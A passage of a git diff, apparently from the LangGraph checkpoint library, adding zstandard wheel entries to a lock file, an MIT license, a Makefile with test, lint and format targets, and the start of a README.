"https://files.pythonhosted.org/packages/d1/a9/ee891e5edf33a6ebce0a028726f0bbd8567effe20fe3d5808c42323e8542/zstandard-0.25.0-cp310-cp310-musllinux_1_2_ppc64le.whl", hash = "sha256:a5a419712cf88862a45a23def0ae063686db3d324cec7edbe40509d1a79a0aab", size = 5440914, upload-time = "2025-09-14T22:16:18.453Z" }, + { url = "https://files.pythonhosted.org/packages/58/08/a8522c28c08031a9521f27abc6f78dbdee7312a7463dd2cfc658b813323b/zstandard-0.25.0-cp310-cp310-musllinux_1_2_s390x.whl", hash = "sha256:e7360eae90809efd19b886e59a09dad07da4ca9ba096752e61a2e03c8aca188e", size = 5819847, upload-time = "2025-09-14T22:16:20.559Z" }, + { url = "https://files.pythonhosted.org/packages/6f/11/4c91411805c3f7b6f31c60e78ce347ca48f6f16d552fc659af6ec3b73202/zstandard-0.25.0-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:75ffc32a569fb049499e63ce68c743155477610532da1eb38e7f24bf7cd29e74", size = 5363131, upload-time = "2025-09-14T22:16:22.206Z" }, + { url = "https://files.pythonhosted.org/packages/ef/d6/8c4bd38a3b24c4c7676a7a3d8de85d6ee7a983602a734b9f9cdefb04a5d6/zstandard-0.25.0-cp310-cp310-win32.whl", hash = "sha256:106281ae350e494f4ac8a80470e66d1fe27e497052c8d9c3b95dc4cf1ade81aa", size = 436469, upload-time = "2025-09-14T22:16:25.002Z" }, + { url = "https://files.pythonhosted.org/packages/93/90/96d50ad417a8ace5f841b3228e93d1bb13e6ad356737f42e2dde30d8bd68/zstandard-0.25.0-cp310-cp310-win_amd64.whl", hash = "sha256:ea9d54cc3d8064260114a0bbf3479fc4a98b21dffc89b3459edd506b69262f6e", size = 506100, upload-time = "2025-09-14T22:16:23.569Z" }, + { url = "https://files.pythonhosted.org/packages/2a/83/c3ca27c363d104980f1c9cee1101cc8ba724ac8c28a033ede6aab89585b1/zstandard-0.25.0-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:933b65d7680ea337180733cf9e87293cc5500cc0eb3fc8769f4d3c88d724ec5c", size = 795254, upload-time = "2025-09-14T22:16:26.137Z" }, + { url = "https://files.pythonhosted.org/packages/ac/4d/e66465c5411a7cf4866aeadc7d108081d8ceba9bc7abe6b14aa21c671ec3/zstandard-0.25.0-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:a3f79487c687b1fc69f19e487cd949bf3aae653d181dfb5fde3bf6d18894706f", size = 640559, upload-time = "2025-09-14T22:16:27.973Z" }, + { url = "https://files.pythonhosted.org/packages/12/56/354fe655905f290d3b147b33fe946b0f27e791e4b50a5f004c802cb3eb7b/zstandard-0.25.0-cp311-cp311-manylinux2010_i686.manylinux2014_i686.manylinux_2_12_i686.manylinux_2_17_i686.whl", hash = "sha256:0bbc9a0c65ce0eea3c34a691e3c4b6889f5f3909ba4822ab385fab9057099431", size = 5348020, upload-time = "2025-09-14T22:16:29.523Z" }, + { url = "https://files.pythonhosted.org/packages/3b/13/2b7ed68bd85e69a2069bcc72141d378f22cae5a0f3b353a2c8f50ef30c1b/zstandard-0.25.0-cp311-cp311-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:01582723b3ccd6939ab7b3a78622c573799d5d8737b534b86d0e06ac18dbde4a", size = 5058126, upload-time = "2025-09-14T22:16:31.811Z" }, + { url = "https://files.pythonhosted.org/packages/c9/dd/fdaf0674f4b10d92cb120ccff58bbb6626bf8368f00ebfd2a41ba4a0dc99/zstandard-0.25.0-cp311-cp311-manylinux2014_ppc64le.manylinux_2_17_ppc64le.whl", hash = "sha256:5f1ad7bf88535edcf30038f6919abe087f606f62c00a87d7e33e7fc57cb69fcc", size = 5405390, upload-time = "2025-09-14T22:16:33.486Z" }, + { url = "https://files.pythonhosted.org/packages/0f/67/354d1555575bc2490435f90d67ca4dd65238ff2f119f30f72d5cde09c2ad/zstandard-0.25.0-cp311-cp311-manylinux2014_s390x.manylinux_2_17_s390x.whl", hash = "sha256:06acb75eebeedb77b69048031282737717a63e71e4ae3f77cc0c3b9508320df6", size = 5452914, upload-time = "2025-09-14T22:16:35.277Z" }, + { url = "https://files.pythonhosted.org/packages/bb/1f/e9cfd801a3f9190bf3e759c422bbfd2247db9d7f3d54a56ecde70137791a/zstandard-0.25.0-cp311-cp311-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:9300d02ea7c6506f00e627e287e0492a5eb0371ec1670ae852fefffa6164b072", size = 5559635, upload-time = "2025-09-14T22:16:37.141Z" }, + { url = "https://files.pythonhosted.org/packages/21/88/5ba550f797ca953a52d708c8e4f380959e7e3280af029e38fbf47b55916e/zstandard-0.25.0-cp311-cp311-musllinux_1_1_aarch64.whl", hash = "sha256:bfd06b1c5584b657a2892a6014c2f4c20e0db0208c159148fa78c65f7e0b0277", size = 5048277, upload-time = "2025-09-14T22:16:38.807Z" }, + { url = "https://files.pythonhosted.org/packages/46/c0/ca3e533b4fa03112facbe7fbe7779cb1ebec215688e5df576fe5429172e0/zstandard-0.25.0-cp311-cp311-musllinux_1_1_x86_64.whl", hash = "sha256:f373da2c1757bb7f1acaf09369cdc1d51d84131e50d5fa9863982fd626466313", size = 5574377, upload-time = "2025-09-14T22:16:40.523Z" }, + { url = "https://files.pythonhosted.org/packages/12/9b/3fb626390113f272abd0799fd677ea33d5fc3ec185e62e6be534493c4b60/zstandard-0.25.0-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:6c0e5a65158a7946e7a7affa6418878ef97ab66636f13353b8502d7ea03c8097", size = 4961493, upload-time = "2025-09-14T22:16:43.3Z" }, + { url = "https://files.pythonhosted.org/packages/cb/d3/23094a6b6a4b1343b27ae68249daa17ae0651fcfec9ed4de09d14b940285/zstandard-0.25.0-cp311-cp311-musllinux_1_2_i686.whl", hash = "sha256:c8e167d5adf59476fa3e37bee730890e389410c354771a62e3c076c86f9f7778", size = 5269018, upload-time = "2025-09-14T22:16:45.292Z" }, + { url = "https://files.pythonhosted.org/packages/8c/a7/bb5a0c1c0f3f4b5e9d5b55198e39de91e04ba7c205cc46fcb0f95f0383c1/zstandard-0.25.0-cp311-cp311-musllinux_1_2_ppc64le.whl", hash = "sha256:98750a309eb2f020da61e727de7d7ba3c57c97cf6213f6f6277bb7fb42a8e065", size = 5443672, upload-time = "2025-09-14T22:16:47.076Z" }, + { url = "https://files.pythonhosted.org/packages/27/22/503347aa08d073993f25109c36c8d9f029c7d5949198050962cb568dfa5e/zstandard-0.25.0-cp311-cp311-musllinux_1_2_s390x.whl", hash = "sha256:22a086cff1b6ceca18a8dd6096ec631e430e93a8e70a9ca5efa7561a00f826fa", size = 5822753, upload-time = "2025-09-14T22:16:49.316Z" }, + { url = "https://files.pythonhosted.org/packages/e2/be/94267dc6ee64f0f8ba2b2ae7c7a2df934a816baaa7291db9e1aa77394c3c/zstandard-0.25.0-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:72d35d7aa0bba323965da807a462b0966c91608ef3a48ba761678cb20ce5d8b7", size = 5366047, upload-time = "2025-09-14T22:16:51.328Z" }, + { url = "https://files.pythonhosted.org/packages/7b/a3/732893eab0a3a7aecff8b99052fecf9f605cf0fb5fb6d0290e36beee47a4/zstandard-0.25.0-cp311-cp311-win32.whl", hash = "sha256:f5aeea11ded7320a84dcdd62a3d95b5186834224a9e55b92ccae35d21a8b63d4", size = 436484, upload-time = "2025-09-14T22:16:55.005Z" }, + { url = "https://files.pythonhosted.org/packages/43/a3/c6155f5c1cce691cb80dfd38627046e50af3ee9ddc5d0b45b9b063bfb8c9/zstandard-0.25.0-cp311-cp311-win_amd64.whl", hash = "sha256:daab68faadb847063d0c56f361a289c4f268706b598afbf9ad113cbe5c38b6b2", size = 506183, upload-time = "2025-09-14T22:16:52.753Z" }, + { url = "https://files.pythonhosted.org/packages/8c/3e/8945ab86a0820cc0e0cdbf38086a92868a9172020fdab8a03ac19662b0e5/zstandard-0.25.0-cp311-cp311-win_arm64.whl", hash = "sha256:22a06c5df3751bb7dc67406f5374734ccee8ed37fc5981bf1ad7041831fa1137", size = 462533, upload-time = "2025-09-14T22:16:53.878Z" }, + { url = "https://files.pythonhosted.org/packages/82/fc/f26eb6ef91ae723a03e16eddb198abcfce2bc5a42e224d44cc8b6765e57e/zstandard-0.25.0-cp312-cp312-macosx_10_13_x86_64.whl", hash = "sha256:7b3c3a3ab9daa3eed242d6ecceead93aebbb8f5f84318d82cee643e019c4b73b", size = 795738, upload-time = "2025-09-14T22:16:56.237Z" }, + { url = "https://files.pythonhosted.org/packages/aa/1c/d920d64b22f8dd028a8b90e2d756e431a5d86194caa78e3819c7bf53b4b3/zstandard-0.25.0-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:913cbd31a400febff93b564a23e17c3ed2d56c064006f54efec210d586171c00", size = 640436, upload-time = "2025-09-14T22:16:57.774Z" }, + { url = "https://files.pythonhosted.org/packages/53/6c/288c3f0bd9fcfe9ca41e2c2fbfd17b2097f6af57b62a81161941f09afa76/zstandard-0.25.0-cp312-cp312-manylinux2010_i686.manylinux2014_i686.manylinux_2_12_i686.manylinux_2_17_i686.whl", hash = "sha256:011d388c76b11a0c165374ce660ce2c8efa8e5d87f34996aa80f9c0816698b64", size = 5343019, upload-time = "2025-09-14T22:16:59.302Z" }, + { url = "https://files.pythonhosted.org/packages/1e/15/efef5a2f204a64bdb5571e6161d49f7ef0fffdbca953a615efbec045f60f/zstandard-0.25.0-cp312-cp312-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:6dffecc361d079bb48d7caef5d673c88c8988d3d33fb74ab95b7ee6da42652ea", size = 5063012, upload-time = "2025-09-14T22:17:01.156Z" }, + { url = "https://files.pythonhosted.org/packages/b7/37/a6ce629ffdb43959e92e87ebdaeebb5ac81c944b6a75c9c47e300f85abdf/zstandard-0.25.0-cp312-cp312-manylinux2014_ppc64le.manylinux_2_17_ppc64le.whl", hash = "sha256:7149623bba7fdf7e7f24312953bcf73cae103db8cae49f8154dd1eadc8a29ecb", size = 5394148, upload-time = "2025-09-14T22:17:03.091Z" }, + { url = "https://files.pythonhosted.org/packages/e3/79/2bf870b3abeb5c070fe2d670a5a8d1057a8270f125ef7676d29ea900f496/zstandard-0.25.0-cp312-cp312-manylinux2014_s390x.manylinux_2_17_s390x.whl", hash = "sha256:6a573a35693e03cf1d67799fd01b50ff578515a8aeadd4595d2a7fa9f3ec002a", size = 5451652, upload-time = "2025-09-14T22:17:04.979Z" }, + { url = "https://files.pythonhosted.org/packages/53/60/7be26e610767316c028a2cbedb9a3beabdbe33e2182c373f71a1c0b88f36/zstandard-0.25.0-cp312-cp312-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:5a56ba0db2d244117ed744dfa8f6f5b366e14148e00de44723413b2f3938a902", size = 5546993, upload-time = "2025-09-14T22:17:06.781Z" }, + { url = "https://files.pythonhosted.org/packages/85/c7/3483ad9ff0662623f3648479b0380d2de5510abf00990468c286c6b04017/zstandard-0.25.0-cp312-cp312-musllinux_1_1_aarch64.whl", hash = "sha256:10ef2a79ab8e2974e2075fb984e5b9806c64134810fac21576f0668e7ea19f8f", size = 5046806, upload-time = "2025-09-14T22:17:08.415Z" }, + { url = "https://files.pythonhosted.org/packages/08/b3/206883dd25b8d1591a1caa44b54c2aad84badccf2f1de9e2d60a446f9a25/zstandard-0.25.0-cp312-cp312-musllinux_1_1_x86_64.whl", hash = "sha256:aaf21ba8fb76d102b696781bddaa0954b782536446083ae3fdaa6f16b25a1c4b", size = 5576659, upload-time = "2025-09-14T22:17:10.164Z" }, + { url = "https://files.pythonhosted.org/packages/9d/31/76c0779101453e6c117b0ff22565865c54f48f8bd807df2b00c2c404b8e0/zstandard-0.25.0-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:1869da9571d5e94a85a5e8d57e4e8807b175c9e4a6294e3b66fa4efb074d90f6", size = 4953933, upload-time = "2025-09-14T22:17:11.857Z" }, + { url = "https://files.pythonhosted.org/packages/18/e1/97680c664a1bf9a247a280a053d98e251424af51f1b196c6d52f117c9720/zstandard-0.25.0-cp312-cp312-musllinux_1_2_i686.whl", hash = "sha256:809c5bcb2c67cd0ed81e9229d227d4ca28f82d0f778fc5fea624a9def3963f91", size = 5268008, upload-time = "2025-09-14T22:17:13.627Z" }, + { url = "https://files.pythonhosted.org/packages/1e/73/316e4010de585ac798e154e88fd81bb16afc5c5cb1a72eeb16dd37e8024a/zstandard-0.25.0-cp312-cp312-musllinux_1_2_ppc64le.whl", hash = "sha256:f27662e4f7dbf9f9c12391cb37b4c4c3cb90ffbd3b1fb9284dadbbb8935fa708", size = 5433517, upload-time = "2025-09-14T22:17:16.103Z" }, + { url = "https://files.pythonhosted.org/packages/5b/60/dd0f8cfa8129c5a0ce3ea6b7f70be5b33d2618013a161e1ff26c2b39787c/zstandard-0.25.0-cp312-cp312-musllinux_1_2_s390x.whl", hash = "sha256:99c0c846e6e61718715a3c9437ccc625de26593fea60189567f0118dc9db7512", size = 5814292, upload-time = "2025-09-14T22:17:17.827Z" }, + { url = "https://files.pythonhosted.org/packages/fc/5f/75aafd4b9d11b5407b641b8e41a57864097663699f23e9ad4dbb91dc6bfe/zstandard-0.25.0-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:474d2596a2dbc241a556e965fb76002c1ce655445e4e3bf38e5477d413165ffa", size = 5360237, upload-time = "2025-09-14T22:17:19.954Z" }, + { url = "https://files.pythonhosted.org/packages/ff/8d/0309daffea4fcac7981021dbf21cdb2e3427a9e76bafbcdbdf5392ff99a4/zstandard-0.25.0-cp312-cp312-win32.whl", hash = "sha256:23ebc8f17a03133b4426bcc04aabd68f8236eb78c3760f12783385171b0fd8bd", size = 436922, upload-time = "2025-09-14T22:17:24.398Z" }, + { url = "https://files.pythonhosted.org/packages/79/3b/fa54d9015f945330510cb5d0b0501e8253c127cca7ebe8ba46a965df18c5/zstandard-0.25.0-cp312-cp312-win_amd64.whl", hash = "sha256:ffef5a74088f1e09947aecf91011136665152e0b4b359c42be3373897fb39b01", size = 506276, upload-time = "2025-09-14T22:17:21.429Z" }, + { url = "https://files.pythonhosted.org/packages/ea/6b/8b51697e5319b1f9ac71087b0af9a40d8a6288ff8025c36486e0c12abcc4/zstandard-0.25.0-cp312-cp312-win_arm64.whl", hash = "sha256:181eb40e0b6a29b3cd2849f825e0fa34397f649170673d385f3598ae17cca2e9", size = 462679, upload-time = "2025-09-14T22:17:23.147Z" }, + { url = "https://files.pythonhosted.org/packages/35/0b/8df9c4ad06af91d39e94fa96cc010a24ac4ef1378d3efab9223cc8593d40/zstandard-0.25.0-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:ec996f12524f88e151c339688c3897194821d7f03081ab35d31d1e12ec975e94", size = 795735, upload-time = "2025-09-14T22:17:26.042Z" }, + { url = "https://files.pythonhosted.org/packages/3f/06/9ae96a3e5dcfd119377ba33d4c42a7d89da1efabd5cb3e366b156c45ff4d/zstandard-0.25.0-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:a1a4ae2dec3993a32247995bdfe367fc3266da832d82f8438c8570f989753de1", size = 640440, upload-time = "2025-09-14T22:17:27.366Z" }, + { url = "https://files.pythonhosted.org/packages/d9/14/933d27204c2bd404229c69f445862454dcc101cd69ef8c6068f15aaec12c/zstandard-0.25.0-cp313-cp313-manylinux2010_i686.manylinux2014_i686.manylinux_2_12_i686.manylinux_2_17_i686.whl", hash = "sha256:e96594a5537722fdfb79951672a2a63aec5ebfb823e7560586f7484819f2a08f", size = 5343070, upload-time = "2025-09-14T22:17:28.896Z" }, + { url = "https://files.pythonhosted.org/packages/6d/db/ddb11011826ed7db9d0e485d13df79b58586bfdec56e5c84a928a9a78c1c/zstandard-0.25.0-cp313-cp313-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:bfc4e20784722098822e3eee42b8e576b379ed72cca4a7cb856ae733e62192ea", size = 5063001, upload-time = "2025-09-14T22:17:31.044Z" }, + { url = "https://files.pythonhosted.org/packages/db/00/87466ea3f99599d02a5238498b87bf84a6348290c19571051839ca943777/zstandard-0.25.0-cp313-cp313-manylinux2014_ppc64le.manylinux_2_17_ppc64le.whl", hash = "sha256:457ed498fc58cdc12fc48f7950e02740d4f7ae9493dd4ab2168a47c93c31298e", size = 5394120, upload-time = "2025-09-14T22:17:32.711Z" }, + { url = "https://files.pythonhosted.org/packages/2b/95/fc5531d9c618a679a20ff6c29e2b3ef1d1f4ad66c5e161ae6ff847d102a9/zstandard-0.25.0-cp313-cp313-manylinux2014_s390x.manylinux_2_17_s390x.whl", hash = "sha256:fd7a5004eb1980d3cefe26b2685bcb0b17989901a70a1040d1ac86f1d898c551", size = 5451230, upload-time = "2025-09-14T22:17:34.41Z" }, + { url = "https://files.pythonhosted.org/packages/63/4b/e3678b4e776db00f9f7b2fe58e547e8928ef32727d7a1ff01dea010f3f13/zstandard-0.25.0-cp313-cp313-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:8e735494da3db08694d26480f1493ad2cf86e99bdd53e8e9771b2752a5c0246a", size = 5547173, upload-time = "2025-09-14T22:17:36.084Z" }, + { url = "https://files.pythonhosted.org/packages/4e/d5/ba05ed95c6b8ec30bd468dfeab20589f2cf709b5c940483e31d991f2ca58/zstandard-0.25.0-cp313-cp313-musllinux_1_1_aarch64.whl", hash = "sha256:3a39c94ad7866160a4a46d772e43311a743c316942037671beb264e395bdd611", size = 5046736, upload-time = "2025-09-14T22:17:37.891Z" }, + { url = "https://files.pythonhosted.org/packages/50/d5/870aa06b3a76c73eced65c044b92286a3c4e00554005ff51962deef28e28/zstandard-0.25.0-cp313-cp313-musllinux_1_1_x86_64.whl", hash = "sha256:172de1f06947577d3a3005416977cce6168f2261284c02080e7ad0185faeced3", size = 5576368, upload-time = "2025-09-14T22:17:40.206Z" }, + { url = "https://files.pythonhosted.org/packages/5d/35/398dc2ffc89d304d59bc12f0fdd931b4ce455bddf7038a0a67733a25f550/zstandard-0.25.0-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:3c83b0188c852a47cd13ef3bf9209fb0a77fa5374958b8c53aaa699398c6bd7b", size = 4954022, upload-time = "2025-09-14T22:17:41.879Z" }, + { url = "https://files.pythonhosted.org/packages/9a/5c/36ba1e5507d56d2213202ec2b05e8541734af5f2ce378c5d1ceaf4d88dc4/zstandard-0.25.0-cp313-cp313-musllinux_1_2_i686.whl", hash = "sha256:1673b7199bbe763365b81a4f3252b8e80f44c9e323fc42940dc8843bfeaf9851", size = 5267889, upload-time = "2025-09-14T22:17:43.577Z" }, + { url = "https://files.pythonhosted.org/packages/70/e8/2ec6b6fb7358b2ec0113ae202647ca7c0e9d15b61c005ae5225ad0995df5/zstandard-0.25.0-cp313-cp313-musllinux_1_2_ppc64le.whl", hash = "sha256:0be7622c37c183406f3dbf0cba104118eb16a4ea7359eeb5752f0794882fc250", size = 5433952, upload-time = "2025-09-14T22:17:45.271Z" }, + { url = "https://files.pythonhosted.org/packages/7b/01/b5f4d4dbc59ef193e870495c6f1275f5b2928e01ff5a81fecb22a06e22fb/zstandard-0.25.0-cp313-cp313-musllinux_1_2_s390x.whl", hash = "sha256:5f5e4c2a23ca271c218ac025bd7d635597048b366d6f31f420aaeb715239fc98", size = 5814054, upload-time = "2025-09-14T22:17:47.08Z" }, + { url = "https://files.pythonhosted.org/packages/b2/e5/fbd822d5c6f427cf158316d012c5a12f233473c2f9c5fe5ab1ae5d21f3d8/zstandard-0.25.0-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:4f187a0bb61b35119d1926aee039524d1f93aaf38a9916b8c4b78ac8514a0aaf", size = 5360113, upload-time = "2025-09-14T22:17:48.893Z" }, + { url = "https://files.pythonhosted.org/packages/8e/e0/69a553d2047f9a2c7347caa225bb3a63b6d7704ad74610cb7823baa08ed7/zstandard-0.25.0-cp313-cp313-win32.whl", hash = "sha256:7030defa83eef3e51ff26f0b7bfb229f0204b66fe18e04359ce3474ac33cbc09", size = 436936, upload-time = "2025-09-14T22:17:52.658Z" }, + { url = "https://files.pythonhosted.org/packages/d9/82/b9c06c870f3bd8767c201f1edbdf9e8dc34be5b0fbc5682c4f80fe948475/zstandard-0.25.0-cp313-cp313-win_amd64.whl", hash = "sha256:1f830a0dac88719af0ae43b8b2d6aef487d437036468ef3c2ea59c51f9d55fd5", size = 506232, upload-time = "2025-09-14T22:17:50.402Z" }, + { url = "https://files.pythonhosted.org/packages/d4/57/60c3c01243bb81d381c9916e2a6d9e149ab8627c0c7d7abb2d73384b3c0c/zstandard-0.25.0-cp313-cp313-win_arm64.whl", hash = "sha256:85304a43f4d513f5464ceb938aa02c1e78c2943b29f44a750b48b25ac999a049", size = 462671, upload-time = "2025-09-14T22:17:51.533Z" }, + { url = "https://files.pythonhosted.org/packages/3d/5c/f8923b595b55fe49e30612987ad8bf053aef555c14f05bb659dd5dbe3e8a/zstandard-0.25.0-cp314-cp314-macosx_10_13_x86_64.whl", hash = "sha256:e29f0cf06974c899b2c188ef7f783607dbef36da4c242eb6c82dcd8b512855e3", size = 795887, upload-time = "2025-09-14T22:17:54.198Z" }, + { url = "https://files.pythonhosted.org/packages/8d/09/d0a2a14fc3439c5f874042dca72a79c70a532090b7ba0003be73fee37ae2/zstandard-0.25.0-cp314-cp314-macosx_11_0_arm64.whl", hash = "sha256:05df5136bc5a011f33cd25bc9f506e7426c0c9b3f9954f056831ce68f3b6689f", size = 640658, upload-time = "2025-09-14T22:17:55.423Z" }, + { url = "https://files.pythonhosted.org/packages/5d/7c/8b6b71b1ddd517f68ffb55e10834388d4f793c49c6b83effaaa05785b0b4/zstandard-0.25.0-cp314-cp314-manylinux2010_i686.manylinux_2_12_i686.manylinux_2_28_i686.whl", hash = "sha256:f604efd28f239cc21b3adb53eb061e2a205dc164be408e553b41ba2ffe0ca15c", size = 5379849, upload-time = "2025-09-14T22:17:57.372Z" }, + { url = "https://files.pythonhosted.org/packages/a4/86/a48e56320d0a17189ab7a42645387334fba2200e904ee47fc5a26c1fd8ca/zstandard-0.25.0-cp314-cp314-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:223415140608d0f0da010499eaa8ccdb9af210a543fac54bce15babbcfc78439", size = 5058095, upload-time = "2025-09-14T22:17:59.498Z" }, + { url = "https://files.pythonhosted.org/packages/f8/ad/eb659984ee2c0a779f9d06dbfe45e2dc39d99ff40a319895df2d3d9a48e5/zstandard-0.25.0-cp314-cp314-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:2e54296a283f3ab5a26fc9b8b5d4978ea0532f37b231644f367aa588930aa043", size = 5551751, upload-time = "2025-09-14T22:18:01.618Z" }, + { url = "https://files.pythonhosted.org/packages/61/b3/b637faea43677eb7bd42ab204dfb7053bd5c4582bfe6b1baefa80ac0c47b/zstandard-0.25.0-cp314-cp314-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:ca54090275939dc8ec5dea2d2afb400e0f83444b2fc24e07df7fdef677110859", size = 6364818, upload-time = "2025-09-14T22:18:03.769Z" }, + { url = "https://files.pythonhosted.org/packages/31/dc/cc50210e11e465c975462439a492516a73300ab8caa8f5e0902544fd748b/zstandard-0.25.0-cp314-cp314-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:e09bb6252b6476d8d56100e8147b803befa9a12cea144bbe629dd508800d1ad0", size = 5560402, upload-time = "2025-09-14T22:18:05.954Z" }, + { url = "https://files.pythonhosted.org/packages/c9/ae/56523ae9c142f0c08efd5e868a6da613ae76614eca1305259c3bf6a0ed43/zstandard-0.25.0-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:a9ec8c642d1ec73287ae3e726792dd86c96f5681eb8df274a757bf62b750eae7", size = 4955108, upload-time = "2025-09-14T22:18:07.68Z" }, + { url = "https://files.pythonhosted.org/packages/98/cf/c899f2d6df0840d5e384cf4c4121458c72802e8bda19691f3b16619f51e9/zstandard-0.25.0-cp314-cp314-musllinux_1_2_i686.whl", hash = "sha256:a4089a10e598eae6393756b036e0f419e8c1d60f44a831520f9af41c14216cf2", size = 5269248, upload-time = "2025-09-14T22:18:09.753Z" }, + { url = "https://files.pythonhosted.org/packages/1b/c0/59e912a531d91e1c192d3085fc0f6fb2852753c301a812d856d857ea03c6/zstandard-0.25.0-cp314-cp314-musllinux_1_2_ppc64le.whl", hash = "sha256:f67e8f1a324a900e75b5e28ffb152bcac9fbed1cc7b43f99cd90f395c4375344", size = 5430330, upload-time = "2025-09-14T22:18:11.966Z" }, + { url = "https://files.pythonhosted.org/packages/a0/1d/7e31db1240de2df22a58e2ea9a93fc6e38cc29353e660c0272b6735d6669/zstandard-0.25.0-cp314-cp314-musllinux_1_2_s390x.whl", hash = "sha256:9654dbc012d8b06fc3d19cc825af3f7bf8ae242226df5f83936cb39f5fdc846c", size = 5811123, upload-time = "2025-09-14T22:18:13.907Z" }, + { url = "https://files.pythonhosted.org/packages/f6/49/fac46df5ad353d50535e118d6983069df68ca5908d4d65b8c466150a4ff1/zstandard-0.25.0-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:4203ce3b31aec23012d3a4cf4a2ed64d12fea5269c49aed5e4c3611b938e4088", size = 5359591, upload-time = "2025-09-14T22:18:16.465Z" }, + { url = "https://files.pythonhosted.org/packages/c2/38/f249a2050ad1eea0bb364046153942e34abba95dd5520af199aed86fbb49/zstandard-0.25.0-cp314-cp314-win32.whl", hash = "sha256:da469dc041701583e34de852d8634703550348d5822e66a0c827d39b05365b12", size = 444513, upload-time = "2025-09-14T22:18:20.61Z" }, + { url = "https://files.pythonhosted.org/packages/3a/43/241f9615bcf8ba8903b3f0432da069e857fc4fd1783bd26183db53c4804b/zstandard-0.25.0-cp314-cp314-win_amd64.whl", hash = "sha256:c19bcdd826e95671065f8692b5a4aa95c52dc7a02a4c5a0cac46deb879a017a2", size = 516118, upload-time = "2025-09-14T22:18:17.849Z" }, + { url = "https://files.pythonhosted.org/packages/f0/ef/da163ce2450ed4febf6467d77ccb4cd52c4c30ab45624bad26ca0a27260c/zstandard-0.25.0-cp314-cp314-win_arm64.whl", hash = "sha256:d7541afd73985c630bafcd6338d2518ae96060075f9463d7dc14cfb33514383d", size = 476940, upload-time = "2025-09-14T22:18:19.088Z" }, +] diff --git a/libs/checkpoint/LICENSE b/libs/checkpoint/LICENSE new file mode 100644 index 0000000..fc0602f --- /dev/null +++ b/libs/checkpoint/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2024 LangChain, Inc. + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/libs/checkpoint/Makefile b/libs/checkpoint/Makefile new file mode 100644 index 0000000..c89d8d7 --- /dev/null +++ b/libs/checkpoint/Makefile @@ -0,0 +1,37 @@ +.PHONY: test test_watch lint type format + +###################### +# TESTING AND COVERAGE +###################### + +TEST ?= . + +test: + uv run pytest $(TEST) + +test_watch: + uv run ptw $(TEST) + +###################### +# LINTING AND FORMATTING +###################### + +# Define a variable for Python and notebook files. +PYTHON_FILES=. +lint format: PYTHON_FILES=. +lint_diff format_diff: PYTHON_FILES=$(shell git diff --name-only --relative --diff-filter=d main . | grep -E '\.py$$|\.ipynb$$') +lint_package: PYTHON_FILES=langgraph +lint_tests: PYTHON_FILES=tests + +lint lint_diff lint_package lint_tests: + uv run ruff check . + [ "$(PYTHON_FILES)" = "" ] || uv run ruff format $(PYTHON_FILES) --diff + [ "$(PYTHON_FILES)" = "" ] || uv run ruff check --select I $(PYTHON_FILES) + [ "$(PYTHON_FILES)" = "" ] || uv run ty check $(PYTHON_FILES) + +type: + uv run ty check $(PYTHON_FILES) + +format format_diff: + uv run ruff format $(PYTHON_FILES) + uv run ruff check --fix $(PYTHON_FILES) diff --git a/libs/checkpoint/README.md b/libs/checkpoint/README.md new file mode 100644 index 0000000..a9eb928 --- /dev/null +++ b/libs/checkpoint/README.md @@ -0,0 +1,121 @@ +# LangGraph Checkpoint + +[![PyPI - Version](https://img.shields.io/pypi/v/langgraph-checkpoint?label=%20)](https://pypi.org/project/langgraph-checkpoint/#history) +[![PyPI - License](https://img.shields.io/pypi/l/langgraph-checkpoint)](https://opensource.org/licenses/MIT) +[![PyPI - Downloads](https://img.shields.io/pepy/dt/langgraph-checkpoint)](https://pypistats.org/packages/langgraph-checkpoint) +[![Twitter](https://img.shields.io/twitter/url/https/twitter.com/langchain_oss.svg?style=social&label=Follow%20%40LangChain)](https://x.com/langchain_oss) + +To help you ship LangGraph apps to production faster, check out [LangSmith](https://www.langchain.com/langsmith). 